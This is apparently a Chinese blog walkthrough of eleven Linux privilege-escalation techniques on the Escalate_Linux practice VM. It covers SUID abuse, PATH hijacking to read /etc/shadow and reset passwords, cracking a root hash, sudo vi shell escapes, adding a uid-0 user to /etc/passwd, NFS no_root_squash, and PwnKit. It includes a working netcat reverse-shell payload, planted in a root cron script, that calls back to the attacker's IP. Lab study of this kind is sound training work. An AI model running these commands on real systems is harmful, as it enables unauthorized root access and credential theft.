利用Escalate_Linux靶机学习11种linux提权
搭建好之后,开始进行测试。
首先开一下kali,对网段的靶机进行一个扫描,arp-scan -l
发现主机
做一个简单的外网打点,扫端口,扫目录,拿shell,进内网
就直接给了个webshell
那现在就是拿主机的meterprete
使用msf进行攻击:
1 | msfconsole |
此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)
设置服务端和本地地址都为攻击机ip,运行如下:
1 | set srvhost 192.168.52.129 |
把给出的代码放到靶机执行(记得要url编码一下
这样就拿到了一个meterpreter
进入shell环境
提权方式1:SUID提权
靶机、软件搭建:13—LinEnum.sh(本地Linux枚举和提权辅助脚本) - 灰信网(软件开发博客聚合) (freesion.com)
这里使用的是LinEnum.sh工具,下来我也会总结一个文章。
注:要进入tmp目录下继续wget,主要是因为tmp目录权限大。并且要先在kali上开启http.server的服务。
先修改一下权限,然后执行脚本
1 | chmod 777 LinEnum.sh |
这个脚本会枚举出我们当前的一个linux环境的一些信息啊之类的东西。
使用以下命令找一下具有suid权限的程序
find / -perm -u=s -type f 2>/dev/null
tips:上一步中,如果要直接显示文件的权限,可以使用以下命令
1 | find / -user root -perm -4000 -type f 2>/dev/null -exec ls -l {} \; |
进入目录,直接执行,拿到权限
1 | cd /home/user3 |
提权方式2:环境变量劫持提权
简单来说就是SUID文件的权限高,而它去调用其他命令时,我们劫持了这个命令,并且这个命令的内容是/bin/bash,这样就相当于使用root权限运行了命令,拿到了高权限的shell。
首先是在user5的用户下面发现了SUID文件,执行这个SUID文件,发现其命令类似于ls命令,那好了,我们也创建一个ls命令,但是这个ls执行的内容是/bin/bash,从而我们拿到了高权限的shell。
1 | cd /home/user5 |
提权方式3:破解/etc/shadow文件提权
这种方式实际上就是爆破root用户的密码
通过前面可知,我们能够通过命令劫持来拿到最高权限,那么我们也可以劫持命令,去读取/etc/shadow文件。
1 | echo 'cat /etc/shadow' >/tmp/ls |
接着复制root用户的账户和密码,并且保存为hash.txt
1 | echo 'root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1' > hash.txt |
使用john爆破
(95条消息) John使用手册_1_Can的博客-CSDN博客_john工具用法
1 | john hash.txt |
提权方式4:修改sudoers文件中的用户密码提权
还是使用前面的SUID文件,读取/etc/sudoers文件
1 | echo 'cat /etc/sudoers' > /tmp/ls |
改user1的密码
1 | echo 'echo "user1:pi1grim" | chpasswd' >/tmp/ls |
提权方式5:使用计划任务提权crontab
计划任务就是定时任务,一般运维会采用脚本去定时执行,但是如果权限配置不当的话,就会存在一些问题。
在开始介绍提权方式之前,先介绍下crontab,crontab是linux的计划任务,启动后的服务时crond,配置文件为/etc/crontab,可以通过配置文件定期执行程序或者命令。或者直接使用crontab命令也可以。
首先我们看一下crontab的配置文件
发现有一个每五分钟以root权限执行一次的文件是在user4的目录下面,所以我们需要user4的权限,因此我们可以通过第四种提权方式,先修改一下user的密码,登录user4。
此时我们具备了编辑定时任务的权限。一个简单而且直接的办法是使用nc直接反弹shell至本机,但是经过测试后发现不行。用msf反弹shell
msfvenom生成的反弹shell可以。
1 | msfvenom -p cmd/unix/reverse_netcat lhost=192.168.52.129 lport=8888 |
生成的payload如下
1 | mkfifo /tmp/arnclzn; nc 192.168.52.129 8888 0</tmp/arnclzn | /bin/sh >/tmp/arnclzn 2>&1; rm /tmp/arnclzn |
随后给他弄到定时文件中去
1 | echo 'mkfifo /tmp/arnclzn; nc 192.168.52.129 8888 0</tmp/arnclzn | /bin/sh >/tmp/arnclzn 2>&1; rm /tmp/arnclzn' > autoscript.sh |
等待上线
1 | nc -lnvp 8888 |
他奶奶的,结果路径搞错了,我等了半天没上线,cs也试了一下,我还以为是我的问题。
终于上线了,等我我好辛苦
提权方式6:利用sudo提权
查看sudoers文件信息
1 | echo 'cat /etc/sudoers' >/tmp/ls |
注意看sudoers文件中的user8用户,其可以通过root身份运行vi。这给提权创造了空间。为什么呢?因为vi存在交互模式,即可以在vi中运行命令。
在提权之前,我们要先进入user8用户
1 | echo 'echo "user8:654321" | chpasswd' >/tmp/ls |
查看一下授权列表
1 | sudo -l |
打开vi,使用sudo的原因就是用root权限来执行
1 | sudo vi |
在vi中输入以下命令,成功获取root权限的终端
1 | :!/bin/bash |
注意:在拿到root权限后,想要退出当前终端可以使用exit命令退出,会重新回到vi界面中去,回到vi界面后,重新按照vi命令退出即可。
tips:上述演示是通过vi来获取root权限,其他要注意的命令包含find,less,more,git等等,在使用visudoers配置后,都会被利用来提权,比如使用
1 | ls /etc | sudo more |
然后输入
1 | :!/bin/bash |
也一样可以拿到root权限
如下这个例子是当find被授权后,利用find提权,在找到f1文件后,执行shell。
提权方式7:利用超级用户提权
还是在user6账户下,通过读取sudoers文件来查看用户权限情况
1 | echo 'cat /etc/sudoers' >/tmp/ls |
发现其中的user2有user1用户的权限,而user1又是root用户的权限,好了,这下也可以提权
1 | echo 'echo "user1:654321" | chpasswd' >/tmp/ls |
但是为什么不直接登录user1捏
然后sudo su就可了
提权方式8:利用/etc/passwd具有写入权限进行提权
思路:写入一个超级用户(uid为0的用户)进行提权
首先查看passwd文件的权限,发现属组对passwd文件有读写权限,这是不正确的配置。
1 | /bin/ls -l /etc/passwd |
查看passwd文件发现user7属于root组
我们可以编辑passwd文件,而passwd文件可以添加用户,那么我们就可以生成信息,然后添加到passwd文件中即可。
但是首先要拿到user7的权限,所以也和上面的那些差不多,先拿到其权限
1 | echo 'echo "user7:654321" | chpasswd' >/tmp/ls |
passwd文件的含义如下
1 | user7:x:1006:0:user7,,,:/home/user7:/bin/bash |
理论上,我们可以编辑以下一行添加test超级用户
1 | test:123456:0:0:root/root:/bin/bash |
但是其实不可以,因为不可以存储明文的密码,需要使用openssl来生成。
1 | openssl passwd -1 -salt test 654321 |
组装成passwd文件的样子
1 | test:$1$VuLBG8GhqSK7eNFE4MsN10:0:0:root/root:/bin/bash |
追加至passwd文件
1 | echo 'test:$1$VuLBG8GhqSK7eNFE4MsN10:0:0:root/root:/bin/bash' >> /etc/passwd |
登录test用户,获取root权限
test1:$1$test1$hGmveLQlOJfc5teE6BtC5.:0:0:root/root:/bin/bash
(密码写错了再加了个用户)
提权方式9:利用mysql提权
通过查看本地开放的端口,发现存在一个mysql的服务
1 | netstat -tnlp |
1 | mysql -uroot -p |
尝试连接,发现存在root弱口令
为什么我这里没有数据库啊
反正大概思路就是在数据库里面找到了一个mysql账号的密码,而这台机器上面使用id mysql
可以发现也有一个叫这个的用户,所以登录他。登录进去之后会发现一个存有root用户的敏感文件。
提权方式10:利用NFS提权
原理的简单解释:由于nfs一般是共享时使用的,因此存在登录的权限问题,在/etc/exports配置文件中,一般会出现两个配置选项,分别是no_root_squash和root_squash,Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no_root_squash 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。相信大家读到这个地方看出我们能利用的地方。
靶机中的/etc/exports配置信息
1 | cat /etc/exports |
靶机中配置的最后一行出现了任意用户都有读写权限,而且是no_root_squash(注意,一定是这个选项才能提权)。
在攻击机查询靶机的nfs挂载信息
(我环境出问题了,用的别人的图片)
1 | showmount -e 192.168.52.129 |
新建一个文件夹,并将靶机的文件夹挂载过来
1 | mkdir nfs |
访问挂载的文件夹,发现文件同步过来了
将攻击机的shell复制到这个文件夹中,那么就会在靶机上也有一个shell了
1 | cp /usr/bin/sh . |
使用-p选项执行sh,成功拿到root权限
1 | /home/user5/sh -p |
提权方式11:利用cve-2021-4034提权
SUID提权:CVE-2021-4034漏洞全解析 - 东北码农 - 博客园 (cnblogs.com)
https://github.com/berdav/CVE-2021-4034
这里exp下载
wget下载到靶机(记得进入tmp目录权限高点
然后解压
进入文件夹,make编译,然后执行./cve-2021-4034.sh
1 | cd cve-2021-4034-mian |
即可那下权限